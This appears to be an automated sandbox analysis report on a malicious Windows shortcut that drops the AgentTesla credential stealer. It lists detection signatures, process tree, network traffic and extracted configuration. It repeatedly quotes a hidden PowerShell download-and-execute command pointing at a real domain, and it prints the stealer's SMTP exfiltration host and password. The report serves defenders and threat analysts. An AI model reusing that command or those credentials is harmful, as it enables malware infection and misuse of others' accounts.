Edit tour

Windows Analysis Report
RTGS-WB-ABS-240730-NEW.lnk

Overview

General Information

Sample name:	RTGS-WB-ABS-240730-NEW.lnk
Analysis ID:	1520403
MD5:	82937aae96fa6a40b59703eea97ce1ef
SHA1:	d23b17711e2e65609c9973d6f03dde3d2acb3568
SHA256:	d820d9f270915fc81bedefd16bf7b8a20cb88a4d1e55d8566b9367fa494ac356
Tags:	lnkuser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

Yara detected AgentTesla

AI detected suspicious sample

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Drops VBS files to the startup folder

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global keyboard hook

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Powershell drops PE file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows shortcut file (LNK) contains suspicious command line arguments

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 1824 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

file.exe (PID: 5956 cmdline: "C:\Users\user\AppData\Local\Temp\file.exe" MD5: AA6F514A7AFA81E26BCF612923EA483C)

recomplaint.exe (PID: 5692 cmdline: "C:\Users\user\AppData\Local\Temp\file.exe" MD5: AA6F514A7AFA81E26BCF612923EA483C)

RegSvcs.exe (PID: 4412 cmdline: "C:\Users\user\AppData\Local\Temp\file.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

wscript.exe (PID: 4872 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

recomplaint.exe (PID: 6436 cmdline: "C:\Users\user\AppData\Local\unspattered\recomplaint.exe" MD5: AA6F514A7AFA81E26BCF612923EA483C)

RegSvcs.exe (PID: 5768 cmdline: "C:\Users\user\AppData\Local\unspattered\recomplaint.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

aWUFv.exe (PID: 3884 cmdline: "C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aWUFv.exe (PID: 2120 cmdline: "C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "techniqueqatar.com", "Username": "info@techniqueqatar.com", "Password": "TechFB2023$$$"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.3370850966.0000000002989000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2567429663.0000000003414000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2567429663.0000000003414000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2567429663.0000000003446000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2567429663.000000000343E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 4412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 4412	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 5768	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 5768	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x36d36:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x36da8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x36e32:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x36ec4:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x36f2e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x36fa0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x37036:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x370c6:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", ProcessId: 1824, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", ProcessId: 1824, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs" , ProcessId: 4872, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 4412, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\aWUFv

Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\Temp\file.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\file.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\file.exe" , ParentImage: C:\Users\user\AppData\Local\unspattered\recomplaint.exe, ParentProcessId: 5692, ParentProcessName: recomplaint.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\file.exe" , ProcessId: 4412, ProcessName: RegSvcs.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", ProcessId: 1824, ProcessName: powershell.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.198.176, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 4412, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 61255

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", ProcessId: 1824, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs" , ProcessId: 4872, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }", ProcessId: 1824, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\unspattered\recomplaint.exe, ProcessId: 5692, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs

Suricata Signatures

ET MALWARE AgentTesla Exfil Via SMTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T10:38:56.228125+0200	2030171	1	A Network Trojan was detected	192.168.2.6	60913	208.91.198.176	587	TCP
2024-09-27T10:39:33.684199+0200	2030171	1	A Network Trojan was detected	192.168.2.6	61255	208.91.198.176	587	TCP
2024-09-27T10:39:47.577844+0200	2030171	1	A Network Trojan was detected	192.168.2.6	60905	208.91.198.176	587	TCP
2024-09-27T10:39:50.515013+0200	2030171	1	A Network Trojan was detected	192.168.2.6	60912	208.91.198.176	587	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 8.2.RegSvcs.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "techniqueqatar.com", "Username": "info@techniqueqatar.com", "Password": "TechFB2023$$$"}

Multi AV Scanner detection for submitted file

Source: RTGS-WB-ABS-240730-NEW.lnk

ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\file.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 176.99.3.36:443 -> 192.168.2.6:61245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.6:61253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:60910 version: TLS 1.2

Source:	Binary string: RegSvcs.pdb, source: aWUFv.exe, 0000000D.00000000.2622184453.0000000000502000.00000002.00000001.01000000.00000009.sdmp, aWUFv.exe.8.dr
Source:	Binary string: wntdll.pdbUGP source: recomplaint.exe, 00000007.00000003.2386568009.0000000004530000.00000004.00001000.00020000.00000000.sdmp, recomplaint.exe, 00000007.00000003.2387078782.00000000046D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: recomplaint.exe, 00000007.00000003.2386568009.0000000004530000.00000004.00001000.00020000.00000000.sdmp, recomplaint.exe, 00000007.00000003.2387078782.00000000046D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: aWUFv.exe, 0000000D.00000000.2622184453.0000000000502000.00000002.00000001.01000000.00000009.sdmp, aWUFv.exe.8.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:61255 -> 208.91.198.176:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:60905 -> 208.91.198.176:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:60912 -> 208.91.198.176:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:60913 -> 208.91.198.176:587

Yara detected Generic Downloader

Source: Yara match

File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.6:61255 -> 208.91.198.176:587

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View	ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS
Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: AS-REGRU AS-REGRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.6:61255 -> 208.91.198.176:587

Source: global traffic	HTTP traffic detected: GET /components/grace.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: oootorgline.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /components/grace.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: oootorgline.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: oootorgline.ru
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: techniqueqatar.com
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Source: RegSvcs.exe, 0000000C.00000002.3381286822.0000000005C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: RegSvcs.exe, 00000008.00000002.2567429663.0000000003401000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: RegSvcs.exe, 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.2567429663.0000000003401000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000000.00000002.2287618621.00000221376BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.2262113733.0000022128C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://oootorgline.ru
Source: powershell.exe, 00000000.00000002.2262113733.0000022127882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.2262113733.0000022127651000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.2567429663.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000008.00000002.2567429663.00000000034CB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.2567429663.000000000343E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.0000000002989000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.0000000002A17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://techniqueqatar.com
Source: powershell.exe, 00000000.00000002.2262113733.0000022127882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
